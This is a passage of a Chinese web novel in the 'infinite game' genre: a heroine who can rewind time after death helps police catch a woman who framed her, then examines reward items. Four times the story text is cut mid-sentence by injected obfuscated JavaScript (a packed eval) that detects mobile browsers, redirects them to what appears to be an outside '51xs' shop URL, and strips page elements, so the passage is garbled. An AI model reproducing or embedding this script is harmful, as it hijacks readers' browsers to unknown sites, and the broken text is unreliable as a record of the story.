季然的脸上带着复杂的神色,缓缓地伸过脖子,似乎准备透露那个关键的秘密。纪然凝神倾听,准备捕捉每一个字眼。 然而,就在这时,一道寒光划破了宁静,一把匕首悄无声息地从季然的身后闪现,以迅雷不及掩耳之势直指纪然的心脏。 纪然的瞳孔猛地收缩,大脑在瞬间做出了反应,想要躲避这致命的一击。但是身体却仿佛被时间凝固,动作迟缓,无法跟上思维的速度。 剧烈的疼痛从胸口传来,伴随着一股温热的液体涌出,纪然感到一阵眩晕。她蓦然睁大了眼睛,低下头,只见那锋利的刀刃无情地穿透了自己的身体。 “你……”纪然痛得几近失语,她抬起头,看着眼前面目狰狞的季然。谁能想到这个此时奋起杀人的女生,曾经也是一个受害者呢? 她看到,季然的脸上很快闪过几分慌乱,随后像是意识到不对,黑白分明的双眼直视着她。季然的眼神逐渐冰冷,声音很轻:“为了报仇,我别无选择。” 纪然的嘴唇动了动,想要说出些什么,但疼痛让她的声音变得支离破碎:“原来如此……” 这可真是——纪然眼前的世界仿佛被一层薄雾笼罩,逐渐变得朦胧不清——受害者终成执刀人啊。 耳边依稀能听到有一道男声在喊着什么,声音越来越遥远。她的意识开始模糊,已无力去分辨那声音中的每一个字句,只能感受到声音中传来的慌乱。 意识如同退潮的海水,一点点从她脑海中褪去,留下的只有无尽的黑暗和寂静。 …… 纪然睁开眼睛,大脑有片刻的空白。心跳剧烈,不由自主地停下了脚步。 身后的李新咏诧异地看过来,他刚说完提醒的话怎么纪然就停下了:“怎么了?” 听到动静的宋承回头,见纪然站在原地,脸色带着些许苍白。这个场景有些眼熟,他很快意识到了什么:“使用特殊能力了?” 这句话提醒了纪然,飞快翻开手中的笔记本的第六页。前面已知的剧情节点一扫而过,着重看死亡前的经历。 「我们在巷子尽头找到季然,她站在那里背着手,安静地看着我们向她走去。」 「她想与我单独谈谈,抛出一个令我无法拒绝的条件。我如同飞蛾扑火般,明知有危险,却还是步步走近她。」 「面对着可能到来的死亡——未知的一切让我的内心开始颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179130|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。我站到她面前,她用语言诱使我靠近,再靠近,直到她从背后握着匕首狠狠刺进我心脏。」 「原来受害者才是真正杀我的凶手啊。在意识模糊前,我想我明白了,为什么我的主线任务是找到她。」 「用一次死亡,换取一个信息,我觉得很值。」 “……” 纪然沉默了几秒,这个笔记本的记录口吻怎么越来越文艺了?换句话说,更像个有感情的人所写出来的内容。 虽有些奇怪,但这种没头绪的事在当前发生的事里,并不重要。纪然也没有深想里面提到的“信息”是什么,现在最主要的目的是先避开等下的死亡结局。 视线定格在笔记本的其中一句上,什么是“令我无法拒绝的条件”?在面对季然的时候,究竟是什么条件能让她心甘情愿地靠近? 仔细想了想,目前最想知道的是自己的身份,以及身份卡上支线任务——揭露房主事件的真相。 如果季然只是通过这些来诱使她靠近……不太可能,这些信息一审问就能出来,没必要在这种时候用自己的命去换。何况按照这个路线,她是和宋队长一起走的,以他的为人来看,更不会让她单独靠近季然。 经过这样的推理,可能的情况就大大缩小了。要么是宋队长被牵制,她无奈之下才靠近季然;要么是她明知季然有问题,却不顾宋队长的阻拦而靠近。 第一种情况不太符合"诱使"的描述。如果是第二种,说明她有不得不靠近的理由,可能是季然拥有类似之前玩家的逃脱道具;或者是她受到某种影响,"自愿"过去。 排除不可能的选项后,季然作为能躲避警方追查的玩家,拥有逃脱道具的可能性最大。否则,即使受到精神影响,宋队长也不会坐视不管。如果有第四个人,笔记本应该会提及。 想到这,她趁还未走进巷子深处,向宋承和李新咏讲述了"未来"可能发生的事,重点是要制服持锐器的季然,不能让她逃脱。 时间不多,三人迅速商议对策。常规手段对付特殊能力和神秘道具,效果十分有限。 “如果她有逃脱道具,那应该有一定限制。之前那名玩家被触碰手臂后就无法‘消失’。他每次使用逃脱前,都会先制造结界隔开我们,确保无人能触碰他才离开。”经过肖羽时不时的科普后,纪然对这些也不算陌生。 “所以要出其不意地抓住她,但她使用道具只是一瞬间的事,她身后没有路,很难当面做到。”纪然思索着还有什么方法能抓到人。 李新咏看了看幽深的巷子,沉思道:“她一直在周林附近五公里范围内活动,道具逃离范围很可能也在五公里内。” 这话让纪然灵光一闪,想到早上看到的地图,说:“而且她在五个点之间有时间差,不是单一的五公里距离,说明她的移动范围不大,可能只有一两公里。” 宋承站得笔直,对着两人说:“发现她在安平街有踪迹后,主要警力已经集中在这边。如果她的范围只有一两公里,人一旦出现,我们能迅速锁定。” “在使用道具后一段时间内无法再次使用,我们可以利用这个时间差抓住她。”纪然说得斩钉截铁,按照已知的信息推测出来的结果,再有警方的配合,再次抓到季然显然是轻而易举的事。 最终,他们通知其他人做好配合,若是没能直接抓到季然,还需要利用监控继续搜查。宋承和李新咏与她一起,继续往巷子深处走去。 46. 跳楼? 泛黄的老旧院墙前,岁月的痕迹在其表面镌刻着沧桑。穿着白色外套的女人站在巷子尽头,眼神冷冽地看过来。 「主线任务:找到消失的房主(已完成)」 纪然的身份卡上,文字悄无声息地发生了变化。 看到对面静静站立的人,双手背在身后,他们立刻意识到,季然的匕首就藏在那里。 没有多说什么废话,纪然直奔主题:“那天晚上把我带进房间的人,是你。”她用的陈述句。 原想用话语引诱她单独靠近的季然,被这句话说得一愣,扫了眼她身后的两人,神色莫测:“是我又怎么样,想知道为什么吗?” 纪然忽然笑了下,有些嘲讽的意味:“一个拿我当替死鬼的人,我怎么保证你说的是实话?”语气中带着明显的不信任,她想试探下季然的底线。 季然的眉毛微微挑起,似乎对她的嘲讽并不在意,语调带着蛊惑般的感觉:“信不信由你,错过这个机会,你永远都别想知道答案。” “我不信你,但你可以说。”她的目光紧紧锁定季然,寻找着任何可能的破绽或信号,同时心里快速权衡着利弊。 “那你走近点,我只告诉你一个人。”季然微微倾身向前,声音压低,似乎在暗示着什么重要的秘密,让人不由自主地想要靠近。 纪然的目光始终警惕地锁定着季然,她的身体紧绷,准备随时应对可能发生的变故。正当她打算采取行动,将计就计地接近季然时,宋承和李新咏几乎同时从两侧伸手,紧紧拉住了她的胳膊。他们的眼神中带着担忧和不赞同,眉头紧锁,仿佛在无声地告诫她不要轻举妄动。 “放心,我心里有数。”纪然轻轻说道,在两人松手后,她向对面人走去。 见她靠近,季然眸底掠过一丝暗芒,嘴角微微上扬,露出一个似笑非笑的表情:“这是个明智的选择。” 走到距离季然不到半米的距离,纪然的警觉性达到了极点,每一个感官都高度集中,随时准备应对突发状况。尽管如此,她的表情依旧保持着从容不迫,只有那锐利的余光不时扫过季然的背后,警惕着可能藏匿的匕首。 季然似乎并未察觉纪然的警觉,上前一步,语气低沉:“那天晚上……”话音未落,她手腕一动,紧握着匕首的右手如同毒蛇出洞一般,从身后猛地伸出,直指纪然的胸口。 早有准备的纪然一看到她肩膀的微小动作后,便立即后退。果不其然,她的直觉是对的,下一秒,匕首锋利的刀刃在阳光下反射出冷冽的光芒,直指她的心脏刺来。 身后的两人在察觉不到对劲时,迅速行动,宋承一个箭步冲上前,拽着纪然往旁边一扯,巧妙地避开了季然的又一次袭击。 而李新咏则试图打掉季然手中的武器,但季然的动作更快,她的身影如同鬼魅一般,在李新咏的攻击落空的瞬间,她已消失在空气中。 李新咏顺着惯性冲出去几步,怔然扭头,原地只剩下被卷起的尘埃。 三人对视一眼,宋承迅速恢复镇定,立即通知其他人季然已经逃跑,他们必须立刻采取行动,追踪季然的下落。 上午的阳光透过稀薄的云层,浅浅洒在屋顶上。它没有正午时分的炙热,而是带着早晨特有的丝丝清新与微凉。 手上的传送道具原本剩余使用次数只剩下三次,而刚刚又用掉一次为数不多的次数,季然心中涌起一丝不舍,如同对待一件易碎的宝物,小心翼翼地将那符纸般的道具折叠好,重新放回口袋深处。 这次随机传送的位置不知道在哪,她放眼望去,四周的景物都是那么陌生,没有一丝熟悉感。最为关键的是,她好像正站在五六层楼高的天台之上。 季然沉默了。 更为要命的是,她站在天台的边缘,前方是在十几米高度之下的街道。只要再往前迈出一小步,她就会失去平衡,从高空坠落,摔成人饼。 正当季然准备后退跳回安全的平台时,楼下的街道上,一位行人无意间抬头,目光恰好捕捉到了季然的身影。他错愕地发现,楼顶上好像有人正准备跳楼,这突如其来的一幕让他瞬间紧张起来。 他急忙抓过旁边一位行人的胳膊,情绪激动地指着季然的方向,似乎在急切地解释着什么。他的表情中写满了震惊,声音因紧张而变得尖锐,试图引起周围人的注意。 监控室内,肖羽正专注地审视着路口的监控画面。突然,他眼前的屏幕开始不稳定地闪烁,紧接着,信号中断,屏幕陷入了一片漆黑。这一突发状况让人感到意外,他皱起眉头,这不像是正常现象。 肖羽迅速做出反应,指示旁边的技术人员尽快修复监控信号。他的目光扫过整个监控室,确保其他监控设备仍在正常运作。只单单这一块的监控坏了,事出反常,但时间有限,不能在这耽搁。 “你们留在这里继续盯着,我去附近店里查下监控。”肖羽对其他人说道。 像这种街边上的店铺,稍微大型点的超市门外必定装有监控设备。这个坏掉的监控角度那里正好有一家超市,想到这,他快步走出监控室。 来到超市外,见到行人的奇怪举动,肖羽抬头,十几米的高度并不影响他的视线。他迅速锁定了天台上那个身影,发现那人影与季然极为相似。当看到她做出往下看的动作后又退回到平台上,肖羽当机立断通知队长。 “目标已找到,在崇文路力峰超市的楼顶。”肖羽在接到搜寻命令后不久就意外地发现了任务目标。他记得队长曾提及季然的道具可能有使用时间限制,因此没有丝毫迟疑,立即朝楼上奔去。 风声在耳畔呼啸而过,等纪然和宋承他们赶过来时,肖羽已经成功将季然带离天台,正押解着她从建筑中走出。 季然虽然被控制,但神色中透露出一丝不甘和怨恨,显然她对当前的局势并不满意。 大家会面后,肖羽提了一嘴监控的事,要不是监控突然故障,他也不会过来超市这边查看,更不会意外地发现季然了。 听到肖羽这么说,纪然似有所感,悄悄缩在宋承身后掏出身份卡看了一眼。 「主线剧情已激活」 「主线任务:找到消失的房主(已完成)」 「支线任务:查明关于房主的事情真相(100积分)」 「新手提示:已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179131|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用(3/3)」 戳了戳宋承,纪然凑过去轻声说:“第三次新手提示已经用掉了。” 宋承微微点头,瞥了一眼肖羽,侧着脸也轻声回答:“正好对应刚才小羽碰到的监控异常情况,省了我们很多功夫。” 这谁又能想预料到人会在天台上,也幸好不是突然出现在某个室内空间,不然找起来确实麻烦。之前他们的想法都固定在人是会出现在大街小巷里,若等她自己现身,恐怕还需要耗费不少时间。 听到他们对话的李新咏眼中闪过清浅的笑意,扭头对纪然说:“你的新手提示都很奇特,这次又帮了大忙。” 纪然轻轻扬起嘴角,虽然新手提示已经用完,但当前的主线任务已经顺利完成,至于剩下的支线任务,只需要等之后审问季便能真相大白。不仅自己的任务完成,还帮警方查到了不少信息,总得来说,很值。 宋承环视一圈后开口说:“好了,目标已经抓到,现在最重要的是将人安全带回去。她作为绑架案的嫌疑人,同时涉及到第九系列凶杀案,我们必须要从她这里问出来有关凶案的线索。” 他停顿了一下,目光变得锐利,继续说道:“时间紧迫,我们不能有丝毫松懈。否则,那个逍遥法外的凶手在这期间可能已经定好了下一个受害者。” “她不是真凶么?”纪然问道。 “虽然她的嫌疑很大,但从时间上来说,她并不是真凶,除非她有同伙,”肖羽押着季然走过来,“最早的一起离奇死亡案件发生在半月前,我们查过季然公寓周边的所有监控,她没有离开过小区。” 完美的不在场证明? 宋承略微思索,提醒道:“但这并不意味着她与案件无关,她可能与真凶有某种联系,或者知道一些关键信息。” 几人都了然,李新咏转回之前发现尸体的巷子里,与刚到达此处的乔云深会面。肖羽押着季然上车,季然还想着挣脱束缚,一双眼睛瞪着他们,在上车后想摸向口袋,然而被铐在身后的双手费了半天劲都没够到口袋。 在宋承坐到驾驶室上锁好车门发动车子后,肖羽突然想起刚才从季然口袋里搜出来的东西还没交给队长,他手上拿起几个奇奇怪怪的东西,递到前排。 宋承瞥了一眼,直视着前方道路,直接说道:“你看一下。” 虽然他没有转头,但纪然知道他是对自己说的,接过肖羽手里的东西,拿起来一张泛着微光的黄色符纸。符纸中央有一个奇异的符文,仿佛蕴含着某种神秘的力量。她看着符纸上面跳出来的气泡框—— 「黄阶上品传送符」 「从修仙世界偷渡而来的低级符纸,虽然这种低级符纸在偷渡商人那一卖一大把,但它的功能却远比系统商城卖的符纸厉害。」 「使用说明:使用者在激活符咒后,将被随机传送到1公里范围内的任意位置。」 「使用限制:每次使用间隔时间为一个时辰。」 「使用次数:2/5」 移动范围一公里,幸好距离不远,还在他们警方的布控范围内。纪然记下这个道具的信息,拿起下一个像钥匙扣似的的东西。 47. 任务完成 「危险探测器·初代」 「在第一星系的α星球上,危险探测器曾是探索未知、守护和平的先锋,但随着科技的进步和时代的变迁,它们逐渐被更先进也更智能的新型探测器所取代。经过三个宇宙纪元,联邦和帝国共同宣布全面淘汰这款初代的危险探测器。后被无限游戏回收,进行了改造。」 「使用说明:每隔72小时自动检测一次携带者在未来12小时内是否有致命危险。」 「使用限制:需要随身携带。」 「下一次检测倒计时:13:29小时」 纪然看到最后一句时,看向车载平板上的时间,现在是5月12日的上午9点31分。以这个时间来推算,上一次触发危险检测时是在5月9日的晚上11点。 前天他们提到过在季然住所附近的监控里,查到她在9号当晚被季然带走,但她还不知道具体时间。想到这,纪然扭头直接问宋承:“9号那天晚上我被她带走时是几点?” 前方红灯亮起,车子缓缓停下,宋承双手搭在方向盘上,微微侧脸回答:“十一点十分左右。” 一道灵光从纪然的脑海里如晴空霹雳般闪过,瞬间恍然大悟。她眼睛微眯,通过车内后视镜注视着季然,带着探究地问道:“那天晚上你是在哪发现我的?” 本来季然不是很想理会这个问题,但从车内后视镜里看到驾驶位那警察的眼神仿佛能渗进人心底,不由得让她有些心慌起来。 她目光转向副驾驶座上的半边身影,那个与她身形相近的年轻女孩。季然嘴唇动了动,似乎想要开口说话,但话未出口便被纪然打断:“算了,等下回警局说吧,车上总归不是正式谈话的地方。” 不听拉倒。季然秀气的眉毛抽了一下,心中有些不满。她转身看向窗外倒退的街道,没有再言语。 太阳逐渐升高,天空由明亮转为耀眼,空气中弥漫着沉闷而灼热的气息,仿佛被无尽的热量所笼罩。 宋承按下车窗按钮,让新鲜的空气流入车厢。他注视着前方信号灯由红转绿,随即踩下油门,车辆缓缓启动,朝着警局的方向继续驶去。 时间来到5月12日上午9点40多分。季然静静地坐在椅子上,白炽灯打在她头顶,部分光线顺着她的头发往下蔓延,形成了一片朦胧的光影。她将脸藏在阴影下,使得她的表情难以捉摸。 纪然看向她,而她的目光聚焦在桌面上的纹路上,两眼有些失神。 “那天晚上你在哪里发现我的?当时我处于昏迷状态吗?”纪然坐在季然侧对面,又问了一遍。 通过危险探测器上的时间可以推算出,季然在9号那天晚上11点发现有潜在的危险,不清楚是在发现前碰到她还是在之后才遇见的她。总而言之,在11点10左右季然带着她经过监控前,之后用道具把自身的气息转移到手机上,塞在枕头下。 只要第二天她醒过来,发现自己在陌生房间里,在手脚没有被束缚的情况下,根据一般人的心理反应和行为模式,会首先试图获取当前的信息,比如检查周围是否有自己的随身物品。 手机作为现代生活中不可或缺的通讯工具,自然也会成为她首先寻找的物品之一。何况就在她所躺的枕头下的边缘处,只需要稍微挪动一点点枕头,就能发现。只要算出一般人的反应,后面发生的事就完全如季然预料的那样进行了。 季然头也不抬,低着头一个劲地研究桌面花纹,好似根本就没有听到纪然的问话。 “监控已经显示你在5月9号晚上把她拖进你公寓,无论你是否隐瞒,这已经构成了非法拘禁罪或绑架罪。”见到当事嫌疑人不配合,肖羽在旁边故意夸大其词。 这是一种很常见的施加心理压力以促使嫌疑人说出事实的手段。常被称为“诱导性提问”或“暗示性审讯”,试图通过影响嫌疑人的心理状态,使其在压力下透露信息或认罪。 说完后,肖羽看向身边的队长,宋承扭头瞥了他一眼,这是在提醒他注意讯问分寸。如果这种方法超出了合法讯问的范围,变成了威胁、恐吓或欺骗,那么它就可能构成非法审讯,获取的供述可能会在法庭上被排除。 肖羽进了警局也有两年,从宋承开始带他后,关于审讯方面的经验教过他不少。关于“诱导性提问”这种审讯手段一般不提倡使用,主要是需要把握一个度。从书本上学到实践中,他还清楚地记得里面的每一句要点。 特别是被队长再三强调的:合法的审讯技巧应当遵循法律规定和道德准则,确保嫌疑人的合法权益不受侵犯。审讯过程中,应当尊重嫌疑人的沉默权,不得使用暴力或胁迫手段获取供述。 季然听到这句话,慢慢抬起头,目光投向纪然。仔细地打量了一遍纪然,仿佛在回忆着什么。声音中带着沙哑,缓缓开口道:“我遇见你的时候,你就是昏迷着,躺在小巷子里。” 说完这句她停顿了一下,好像在组织语言,顿了几秒后继续说:“我叫不醒你,担心你一个女孩子在外面有危险,才把你带回我家。后来晚上我突然有事,没有等你醒来就出去了。” 这话把纪然听笑了,将形似钥匙扣的东西往桌上一放,语气幽冷道:“担心我?” 季然的视线一下子聚焦到这个东西上,随后她移开视线,凝声说:“你这是什么意思?” “那天晚上,你刚好在那里遇到了昏迷的我,而你发现自己在未来12小时内会有生命危险,”见她装不认识这个道具,纪然直接挑开了讲,“一个送上门的替死鬼。或许你开始没有这种想法,但是看到我的一瞬间你动了心思。” 季然盯着纪然看了半晌,没有出声,审讯室里陷入一片安静中,所有人都在等她开口。忽然她勾唇笑了,答非所问:“你也能看到啊。” 视线转移到旁边,季然看了看自己正对面的另外两名警察,像是在打量他们是否也能看得到道具说明。 她对纪然刚说的话没有生出任何负面情绪,反而坦然地看着纪然,用理所应当的口吻说道:“当然,我救了你不是吗?那可是老城区,没有监控的小巷子里,在半夜你觉得最容易滋生什么?你的命是我救的,还我一命不算过分吧。” “是吗?”纪然嗤笑一声,不为所动,“不是从一个魔窟到另一个魔窟?无论是小巷子的危险还是你给予我的危险,本质上有什么区别吗?你给自己贴上救人的身份也掩盖不了你害我的事实。” “不应该算有借有还吗?至少我让你的危险延迟了好几个小时吧。”季然没想到这个街上随便带回去的人竟然也是那个诡异游戏的玩家,道具摆在眼前,她没再否认自己的行为。 “况且同样身为玩家,你这不是没什么事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179132|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”季然打量着这个年纪不大的女孩,“就当互相抵了吧。” 宋承和肖羽听到这一连串的窒息发言,眼神都沉了下来。宋承敲了敲桌子,目光如冰般锐利地锁定住季然,声音充满压迫性:“你这是在承认,你不仅将她带回房间,还蓄意布置陷阱陷害她,并且成功实施了这一切?” 他脑海中回想起纪然之前在车内以及巷子里提及的“死亡”经历。如果这些描述都是真实的,那么考虑到在十号上午时,纪然当时失去记忆,身处陌生环境,且门外还有张统手持武器意图杀害她,在她报警并最终侥幸逃生之前,谁也不清楚这之间她还有没有经历过“死亡”。 能够活到现在,哪有季然嘴里轻飘飘的一句“这不是没事吗”就能掩盖过去的。 宋承的话无情地揭开了事实的丑陋面纱,季然如被雷击般猛地抬头,瞪着眼睛看向宋承,声音尖锐起来:“是我做的又怎么样!凭什么她倒在地上有能我去想着怎么去救她,那谁来救我,谁来帮我!” “凭什么就我一个人要承受这些痛苦和折磨,我就不无辜吗?根本就没人愿意相信我……你们知道那些世界有多恐怖吗,那种无助和绝望,你们又懂吗!”季然的声音越来越高,几乎达到了声嘶力竭的程度,仿佛要将内心的怒火和痛苦全部宣泄出来。 最后,她如同耗尽了所有力气般,肩膀无力地垂下,泪水无声地滑落,脸上的表情从愤怒转为绝望,再变为深深的悲伤。 5月9日时,季然因为上一次在副本里受的伤而住院了好几天,出院后发现哥哥失踪,在周林家等了好几天才等到他那天回来。结果没说几句,周林又开始对她动手动脚。在那种时候她怎么可能还能有心思去应对周林的骚扰,何况她一直都厌恶着周林对她的所作所为。 使用道具将周林打伤后,季然惊恐万分,匆忙逃回了自己的住所附近。她害怕周林会追上来报复,因此一直躲在外面,不敢进入公寓。直到半夜她有些困倦,见周林迟迟没来这里,这才鼓起勇气准备回家休息。 原本她可以选择去酒店暂时躲避,但她身上的钱在不久前都给了季铭,只剩下她前几天找季铭要回来的一部分钱,才够她在医院住院治疗。 就在季然往公寓方向走时,路过一个昏暗的小巷子,里面没有路灯,经过巷子口时无意中看到地上躺了个人。她过去尝试摇晃并呼唤这个昏迷的年轻女孩,但对方却毫无反应。担心半夜一个女孩子独自躺在这里不安全,她便抱起这人,拖着往自己家里走。 没走几步,季然身上携带的危险探测器发出警报,显示她将在未来12小时内遭遇致命危险。她的目光落在怀中昏迷的女孩身上,心中涌起复杂的情绪。沉默了好一会儿,最终她眼神一狠,带着这个女孩继续往家里走。 在房间里,季然把人放到床上,利用一个很鸡肋的道具,把这个女孩幻化成她的样子。为了防止意外,她取出自己手机里的电话卡,来回几次清空手机内存后,使用了上一个副本里获得的新道具,把自身的气息封存在手机上,放在女孩的枕头边。 完成这一切后,季然仔细清除了自己留在房间的所有痕迹。在离开之前,她深深地看了一眼床上的人,然后决然转身离去。 「支线任务:查明关于房主的事情真相(已完成)」 「获得100积分」 48. 奖励道具 纪然的眼前突然跳出来一连的串气泡框。 「本次副本任务已全部完成,新手副本结束,获得正式玩家权限」 「获得100积分」 「获得初级医疗包×1、普通匕首×1、真话卡×1」 「检测到当前世界为玩家初始世界,玩家初始评级为C级,已开启C级商城权限」 「传送自动取消,玩家已处于初始世界中」 「注:每月1号上午九点整为固定进月本时间,其他时间内玩家可自由匹配进入随机副本」 随后纪然感觉自己腿上笔记本的重量突然增加了不少,她低头一看,发现一个小巧的医疗包正静静地躺在笔记本上。而医疗包的上面,还放着一张卡片和一把锋利的匕首。 这发放奖励的方式还真是直截了当…… 一扭头,发现坐在桌子同一侧的两个人都齐刷刷地朝她这边看来,目光紧紧锁定在她腿上刚刚出现的物品上。 见对面的季然低着头还沉浸在自己的情绪里,宋承和肖羽交换了一个眼神,示意纪然跟他们出去。 收起桌上的危险探测器,纪然直接横捧着笔记本走出审讯室。 身后的门刚一关上,肖羽拿起那把匕首,仔细端详着,语气迟疑:“好像就是把普通的匕首。” 宋承接过匕首,仔细观察了一下,随后在指尖轻轻旋转了一圈,开口问道:“这是完成任务的奖励?” 见她点头,宋承又问:“刚才你说的未来12小时内有生命危险是怎么回事?” 纪然把之前看到的两样道具的功能说了说,然后让肖羽拿着医疗包,她把那张卡往笔记本里一夹,从口袋里摸出季然的那堆东西。 在那一堆物品中,能够看到气泡框显示的只有三个。除了危险探测器和初级传送符外,还有一个拇指大的小玩偶。 「乖巧的罗吉尔」 「罗吉尔是吉姆家最小的一个孩子。有一天吉姆喝醉了,杀死了妻子伊妮德。罗吉尔的哥哥麦克去阻拦吉姆的暴行时,被邻居家的猎人以为是狼人而一枪打中心脏。吉姆放火点燃了木屋,罗吉尔的姐姐安妮在睡梦中被烧死。罗吉尔害怕极了,躲在石头后面,却不知道身后有一个提着斧头的身影离他越来越近。」 「使用说明:喊出“找到你了,罗吉尔”可激活玩偶,罗吉尔将恢复正常大小,进入发狂状态。」 「注:罗吉尔害怕喝醉酒的人,害怕猎枪、火和斧头。」 「已绑定,其他人无法使用」 这个道具的介绍有些奇怪,之前看到的一系列道具全都是物品,只有这个是疑似人的存在。看介绍上写的,这个罗吉尔很有可能是被杀了后被制作成了小玩偶,简直细思极恐。 纪然把介绍念完后,就把小玩偶丢宋承手上了。这个上面显示着已绑定,她猜测是与季然绑定的道具,或许就像她的笔记本似的。 想到这,她凝神看向自己手里的笔记本。 「形态一·不死之书」 「从***而来的神秘书本,拥有令无数人追求的强大力量,因****后受损,需要能量修复。」 「使用说明:绑定者在生存状态下会自动记录关键节点,死亡后被动触发节点读取,回溯至上一个安全节点。」 「注:读取上一个安全节点后,不保留绑定者在上一轮最新节点所获得的记忆。」 「已绑定,其他人无法使用(绑定者:纪然)」 纪然盯着第一行字愣了愣,心中涌起疑惑,难道这个笔记本还有其他形态?需要能量修复又是怎么弄的,充电吗?而且,这还是她第一次看到道具介绍里有屏蔽词,短短一句话还没有“使用说明”的字多。 肖羽从宋承手里接过小玩偶打量了一番,越看越觉得有些渗人,又还给他了。 而宋承则是把匕首递给纪然,正色道:“这把匕首你收好吧,但记住,它只能用于正当的自卫,绝对不能用于任何违法犯罪活动。无论是作为玩家还是普通人,一旦触碰法律底线,我们警方绝不会姑息。我希望这把匕首永远不会见血。” 听到宋承一番包含警示的话,纪然郑重地点了点头表示理解。她并没有在匕首上发现有气泡框,看来这真的只是一把普通匕首。 这时,看着手里道具和匕首,纪然突然想起了一件关键的事情,提醒道:“我想起来一件事,那个被我们抓住的玩家,他的悬赏任务时限只有48小时,今天已经是最后一天了,他很可能会选择在今晚11点前行动……但他不好抓。” 宋承的眉心微微蹙起,脑海中迅速闪过之前那名玩家的话语。他意识到,如果他们现在不采取措施进行防范,那么那名玩家很可能会再次像上次突然出现在咖啡厅一样,突然出现在季然身边,那季然恐怕会没命。 在整理完季然的那些道具后,后续审问季然的流程她没有再参与。鉴于季然已对其涉及的绑架案件供认不讳,后续部分属于第九系列凶杀案,审讯内容已经与她没什么关系了。 她坐在第一小队的休息室里,拿起医疗包看上面出现的介绍。 「初级医疗包」 「医疗品出售公司为了带动产品的售卖量,对一些基础医疗品进行了组合,打包成系列医疗包进行出售。这款医疗包是小型包,里面包含了五张创可贴和两支改良版肾上腺素注射剂。」 「使用说明:创可贴可对任何伤口表面进行修复(仅限于未见骨的表面轻伤);注射剂可随意注射进身体,使用者在十分钟内将不会感受到任何疼痛。」 「改良版肾上腺素效果:身体素质+20%,造成伤害+30%」 纪然看完文字后忍不住扬起嘴角。这都是好东西啊,特别是这个肾上腺素注射剂,关键时刻能够发挥出意想不到的作用。 从笔记本里拿出所谓的真话卡,它比扑克牌要长一点,跟传送符的大小差不多。原本看名字以为是会让人只能说出真话的道具,结果那一长串文字带来的信息,让她有些沉默。 「真话卡·热心的奥尼斯特」 「在古老的第伏兰特大陆中央,有一座休眠火山,山下是一片原始森林。传闻火山口埋藏着稀世宝藏,引得无数寻宝人慕名而来,而想要到达山脚,就必须穿过森林。可森林中充满迷障,没有引路人的指点,谁也无法全身而退。至于引路人,他们是一对双胞胎兄弟,但兄弟之中,只有名叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179133|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥尼斯特的那位会将寻宝人带向正确的路。」 「使用说明:在确认问话对象已掌握实情后,将真话卡贴在目标的脑门上,并大声喊出“谢谢你,热心的奥古斯特”,即可激活真话卡,让目标在一分钟内回答使用者的问话时必定是真话。」 「注:如果找错引路人,将获得双胞胎兄弟莱尔的假信息,并触发“胡说八道”(半小时内玩家一旦开口就会陷入胡说八道debuff),请注意辨别答案的真假。」 「使用次数:1/1」 “……”有些令人社死的使用方式,和令人尴尬的“副作用”。希望没有用到这张卡的那一天吧,纪然在心里默念。 正午的太阳高高悬于天穹,阳光炙烤着大地,空气中弥漫着闷热的气息。等到宋承他们来到休息室时,阳光已经彻底穿透了窗户,整个空间内亮堂一片。 “那个谁神出鬼没的,我们已经在警局布置了严密的防控措施,但不知道他会在什么时候出现。”肖羽边说边接过一杯水,坐在椅子上,大口地喝着,仿佛想要用水来驱散心中的烦躁。 从任务结束后,身份卡上的倒计时就结束了,纪然无法从这上面判断出当前时间。幸好,休息室的墙面上挂着一块电子钟,上面显示此时为中午11:50分。 “还剩不到十小时吧……”纪然的话还没有说完,突然被一道熟悉的声音打断了。 “嗨~亲爱的大家,一天一夜不见,有没有想我呀?” 纪然身旁的座椅上,无声无息地多了个人。他坐在那,手臂放在桌子上撑起下巴,对着她眨了眨眼睛。 